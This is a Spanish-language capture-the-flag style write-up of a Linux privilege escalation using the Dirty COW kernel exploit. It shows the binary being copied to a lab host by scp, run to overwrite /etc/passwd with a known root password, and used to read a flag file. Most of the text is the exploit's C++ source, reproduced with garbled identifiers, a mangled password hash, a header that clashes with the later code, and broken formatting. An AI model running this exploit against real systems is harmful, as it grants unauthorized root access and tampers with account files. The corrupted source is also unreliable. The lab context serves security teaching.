

## Escalamiento de privilegios usando el exploit Dirty Cow

## Exploit descargado de Exploit DB.

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//
#include <csdlib.h>
#include <util.h>
#include <ciostream>
#include <fstream>
#include <string>
#include <thread>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/types.h>
#include <pwd.h>
#include <pty.h>
#include <string.h>
#include <termios.h>
#include <sys/wait.h>
#include <signal.h>

#define BUFFSIZE 1024
#define PROFILE "/etc/passwd"
#define BASHFILE "/.ssh/bak"
#define TROJANFILE "/tmp/.ssh/bak"
#define PGM "/proc/self/mem"
#define ROOTPID "root:"
#define SUDO "sudo"
#define NIKETTER 300
#define DIFPROM "$S$P>BaoaQEZx/han$9L7UwKJainkyQofQokibQWML$T7Z689L9T7UWZK4H1rJX7zT9m64q0az9JhJ.tiKLL1osLaeCBsZmhnd/"
#define TEXITPRO "dirtyCowFunHn"
#define DISABLING "echo 0 > /proc/sys/vm/dirty_writeback_centisecs/n"
#define EXITPRO "exit\n"
#define CASH "cp"
#define MASH "rm"
```

## Acceso al contenedor compile-ubuntu16

```

kali@kali:~$ docker run -it ubuntu:16.04
docker: permission denied while trying to connect to the Docker daemon socket
denied

Run 'docker run --help' for more information

kali@kali:~$ sudo docker pull ubuntu:16.04
16.04: Pulling from library/ubuntu
58690f9b18fc: Pull complete
b51569e7c507: Pull complete
da8ef40b9eca: Pull complete
fb15d46c38dc: Pull complete
Digest: sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffe
Status: Downloaded newer image for ubuntu:16.04
docker.io/library/ubuntu:16.04

kali@kali:~$ sudo docker run -it --name compile-ubuntu16 ubuntu:16.04
root@41dd639c61a4:/# g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dirty d
bash: g++: command not found
root@41dd639c61a4:/# nano dirty.cpp
bash: nano: command not found
root@41dd639c61a4:/# dirty.cpp
bash: dirty.cpp: command not found
root@41dd639c61a4:/# scp dirty student@192.168.1.21:/home/student
bash: scp: command not found
root@41dd639c61a4:/#

```

## Tranferencia de dirty.c

```
kali@kali:~$ scp ~/Desktop/dirty student@192.168.1.21:/tmp/dirty
The authenticity of host '192.168.1.21 (192.168.1.21)' can't be established.
ED25519 key fingerprint is SHA256:gx8dcja8LP8z6JYF0igtwElgqVtqFf1MAC3XRLQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.1.21' (ED25519) to the list of known hosts.
student@192.168.1.21's password:
Connection closed by 192.168.1.21 port 22
scp: Connection closed

kali@kali:~$ scp ~/Desktop/dirty student@192.168.1.21:/tmp/dirty
student@192.168.1.21's password:
dirty
100% 114KB 9.5MB/s 00:00

kali@kali:~$ ls -l /tmp/dirty
-rwxr-xr-x 1 student student 116328 Jun 29 16:24 /tmp/dirty
```

## Explotacion exitosa de la vulnerabilidad Dirty Cow

```
* Documentation: https://help.ubuntu.com
* Management:   https://landscape.canonical.com
* Support:       https://ubuntu.com/advantage

271 packages can be updated.
183 updates are security updates.

New release '18.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sun Jun 29 14:01:36 2025
student@ubuntu:~$ ls -l /tmp/dirty
-rwxr-xr-x 1 student student 116328 Jun 29 16:24 /tmp/dirty
student@ubuntu:~$ chmod +x /tmp/dirty
student@ubuntu:~$ /tmp/dirty
Running ...
Received su prompt (Password: )
Root password is: dirtyCowFun
Enjoy! :-)
student@ubuntu:~$
```

## Acceso a root

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student@ubuntu:~$ /tmp/dirty
Running ...
Received su prompt (Password: )
Root password is: dirtyCowFun
Enjoy! :-)
student@ubuntu:~$ su root
Password:
root@ubuntu:/home/student# whoami
root
root@ubuntu:/home/student#
```

## Contenido del archivo flag.txt

```
Last login: Sun Jun 29 14:01:36 2025
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student@ubuntu:~$ chmod +x /tmp/dirty
student@ubuntu:~$ /tmp/dirty
Running ...
Received su prompt (Password: )
Root password is: dirtyCowFun
Enjoy! :-)
student@ubuntu:~$ su root
Password:
root@ubuntu:/home/student# whoami
root
root@ubuntu:/home/student# cd /root
root@ubuntu:~# ls -l
total 4
-rw-r--r-- 1 root root 21 May 16 19:09 flag.txt
root@ubuntu:~# cat flag.txt
4GEEKS{Y0u_G0t_R00t}
root@ubuntu:~#
```

## Código completo del exploit utilizado en el archivo dirty.c

// EDB-Note: Compile: g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

// EDB-Note: Recommended way to run: ./dcow -s (Will automatically do "echo 0 > /proc/sys/vm/dirty\_writeback\_centisecs")

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// -----

#include <iostream>

#include <fstream>

#include <string>

#include <thread>

#include <sys/mman.h>

#include <fcntl.h>

#include <unistd.h>

#include <sys/types.h>

#include <pwd.h>

#include <pty.h>

#include <string.h>

#include <termios.h>

#include <sys/wait.h>

#include <signal.h>

#define BUFFSIZE 1024

#define PWDFILE "/etc/passwd"

#define BAKFILE "./.ssh bak"

#define TMPBAKFILE "/tmp/.ssh bak"

#define PSM "/proc/self/mem"

#define ROOTID "root:"

#define SSHDID "sshd:"

#define MAXITER 300

#define DEFPWD

"\$6\$P7xBAooQEZX/ham\$9L7U0KJoiHNgQakyfOQokDgQWLSTFZGB9LUU7T0W2kH1rtJXTzt9mG4qOoz9  
Njt.tlklLtLosiaeCBsZm8hND/"

#define TXTPWD "dirtyCowFun\n"

#define DISABLEWB "echo 0 > /proc/sys/vm/dirty\_writeback\_centisecs\n"

#define EXITCMD "exit\n"

#define CPCMD "cp "

#define RMCMD "rm "

using namespace std;

class Dcow{

private:

bool run, rawMode, opShell, restPwd;

void \*map;

int fd, iter, master, wstat;

string buffer, etcPwd, etcPwdBak,

root, user, pwd, sshd;

thread \*writerThr, \*adviseThr, \*checkerThr;

ifstream \*extPwd;

ofstream \*extPwdBak;

struct passwd \*userId;

pid\_t child;

char buffv[BUFFSIZE];

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    fd_set rfd;

    struct termios termOld, termNew;

    ssize_t ign;

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    void exitOnError(string msg);

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public:

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    Dcow(bool opSh, bool rstPwd);

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    ~Dcow(void);

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    int expl(void);

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};

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Dcow::Dcow(bool opSh, bool rstPwd) : run(true), rawMode(false), opShell(opSh), restPwd(rstPwd),

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    iter(0), wstat(0), root(ROOTID), pwd(DEFPWD), sshd(SSHDID), writerThr(nullptr),

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```

    adviseThr(nullptr), checkerThr(nullptr), extPwd(nullptr), extPwdBak(nullptr),

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    child(0){

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    uid = getpwuid(getuid());

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    user.append(uid->pw_name).append(":");

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    extPwd = new ifstream(PWDFILE);

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    while (getline(*extPwd, buffer)){

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        buffer.append("\n");

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        extPwdBak.append(buffer);

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        if(buffer.find(root) == 0){

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            extPwd.insert(0, root).insert(root.size(), pwd);

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            extPwd.insert(extPwd.begin() + root.size() + pwd.size(),

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                buffer.begin() + buffer.find(":", root.size()), buffer.end());

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        }else if(buffer.find(user) == 0 || buffer.find(sshd) == 0 ){

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            extPwd.insert(0, buffer);

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        }else{

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            extPwd.append(buffer);

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        }

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    }

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    extPwdBak = new ofstream(restPwd ? TMPBAKFILE : BAKFILE);

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    extPwdBak->write(extPwdBak.c_str(), extPwdBak.size());

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    extPwdBak->close();

    fd = open(PWDFILE,O_RDONLY);

    map = mmap(nullptr, etcPwdBak.size(), PROT_READ,MAP_PRIVATE, fd, 0);
}

Dcow::~Dcow(void){
    extPwD->close();

    close(fd);

    delete extPwD; delete extPwdBak; delete madviseThr; delete writerThr; delete checkerThr;

    if(rawMode) tcsetattr(STDIN_FILENO, TCSANOW, &termOld);

    if(child != 0) wait(&wstat);
}

void Dcow::exitOnError(string msg){
    cerr << msg << endl;

    // if(child != 0) kill(child, SIGKILL);

    throw new exception();
}

int Dcow::expl(void){
    madviseThr = new thread([&](){ while(run){ madvise(map, etcPwdBak.size(), MADV_DONTNEED);}
});

    writerThr = new thread([&](){ int fpsm = open(PWM,O_RDWR);

        while(run){ lseek(fpsm, reinterpret_cast<off_t>(map), SEEK_SET);

            ign = write(fpsm, etcPwD.c_str(), etcPwD.size()); }

        });

    checkerThr = new thread([&](){ while(iter <= MAXITER){

        extPwD->clear(); extPwD->seekg(0, ios::beg);

        buffer.assign(istreambuf_iterator<char>(*extPwD),

            istreambuf_iterator<char>());

        if(buffer.find(pwd) != string::npos &&

            buffer.size() >= etcPwD.size()){

            run = false; break;

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    }
    iter++; usleep(300000);
}

run = false;

});

cerr << "Running ..." << endl;

madviseThr->join();

writerThr->join();

checkerThr->join();

if(iter <= MAXITER){

    child = forkpty(&master, nullptr, nullptr, nullptr);

    if(child == -1) exitOnError("Error forking pty.");

    if(child == 0){

        execlp("su", "su", "-", nullptr);

        exitOnError("Error on exec.");

    }

    if(opShell) cerr << "Password overridden to: " << TXTPWD << endl;

    memset(buffv, 0, BUFFSIZE);

    ssize_t bytes_read = read(master, buffv, BUFFSIZE - 1);

    if(bytes_read <= 0) exitOnError("Error reading su prompt.");

    cerr << "Received su prompt (" << buffv << ")" << endl;

    if(write(master, TXTPWD, strlen(TXTPWD)) <= 0)

        exitOnError("Error writing pwd on tty.");

    if(write(master, DISABLEWB, strlen(DISABLEWB)) <= 0)

        exitOnError("Error writing cmd on tty.");
}

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if(!opShell){
    if(write(master, EXITCMD, strlen(EXITCMD)) <= 0)
        exitOnError("Error writing exit cmd on tty.");
    }else{
        if(restPwd){
            string restoreCmd = string(CPCMD).append(TMPBAKFILE).append("
").append(PWDFILE).append("\n");
            if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0)
                exitOnError("Error writing restore cmd on tty.");
            restoreCmd = string(RMCMD).append(TMPBAKFILE).append("\n");
            if(write(master, restoreCmd.c_str(), restoreCmd.size()) <= 0)
                exitOnError("Error writing restore cmd (rm) on tty.");
        }

        if(tcgetattr(STDIN_FILENO, &termOld) == -1 )
            exitOnError("Error getting terminal attributes.");

        termNew = termOld;
        termNew.c_lflag &= static_cast<unsigned long>(~(ICANON | ECHO));

        if(tcsetattr(STDIN_FILENO, TCSANOW, &termNew) == -1)
            exitOnError("Error setting terminal in non-canonical mode.");
        rawMode = true;

        while(true){
            FD_ZERO(&rfd);
            FD_SET(master, &rfd);
            FD_SET(STDIN_FILENO, &rfd);

            if(select(master + 1, &rfd, nullptr, nullptr, nullptr) < 0 )
                exitOnError("Error on select tty.");

            if(FD_ISSET(master, &rfd)) {

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    memset(buffv, 0, BUFFSIZE);

    bytes_read = read(master, buffv, BUFFSIZE - 1);

    if(bytes_read <= 0) break;

    if(write(STDOUT_FILENO, buffv, bytes_read) != bytes_read)

        exitOnError("Error writing on stdout.");

    }

    if(FD_ISSET(STDIN_FILENO, &rfd)) {

        memset(buffv, 0, BUFFSIZE);

        bytes_read = read(STDIN_FILENO, buffv, BUFFSIZE - 1);

        if(bytes_read <= 0) exitOnError("Error reading from stdin.");

        if(write(master, buffv, bytes_read) != bytes_read) break;

    }

    }

    }

    }

return [(int ret, bool shell){

    string msg = shell ? "Exit.\n" : string("Root password is: ") + TXTPWD + "Enjoy! :-)\n";

    if(ret <= MAXITER){cerr << msg; return 0;}

    else{cerr << "Exploit failed.\n"; return 1;}

    }(iter, opShell);

}

void printInfo(char* cmd){

    cerr << cmd << " [-s] [-n] | [-h]\n" << endl;

    cerr << "-s open directly a shell, if the exploit is successful;" << endl;

    cerr << "-n combined with -s, doesn't restore the passwd file." << endl;

    cerr << "-h print this synopsis;" << endl;

    cerr << "\n If no param is specified, the program modifies the passwd file and exits." << endl;

    cerr << " A copy of the passwd file will be create in the current directory as .ssh bak" << endl;

    cerr << " (unprivileged user), if no parameter or -n is specified.\n" << endl;

    exit(1);
}

```

}

int main(int argc, char\*\* argv){

const char flags[] = "shn";

int c;

bool opShell = false,

restPwd = true;

opterr = 0;

while ((c = getopt(argc, argv, flags)) != -1){

switch (c){

case 's':

opShell = true;

break;

case 'n':

restPwd = false;

break;

case 'h':

printInfo(argv[0]);

break;

default:

cerr << "Invalid parameter." << endl << endl;

printInfo(argv[0]);

}

}

if(!restPwd && !opShell){

cerr << "Invalid parameter: -n requires -s" << endl << endl;

printInfo(argv[0]);

}

Dcow dcow(opShell, restPwd);

return dcow.expl();

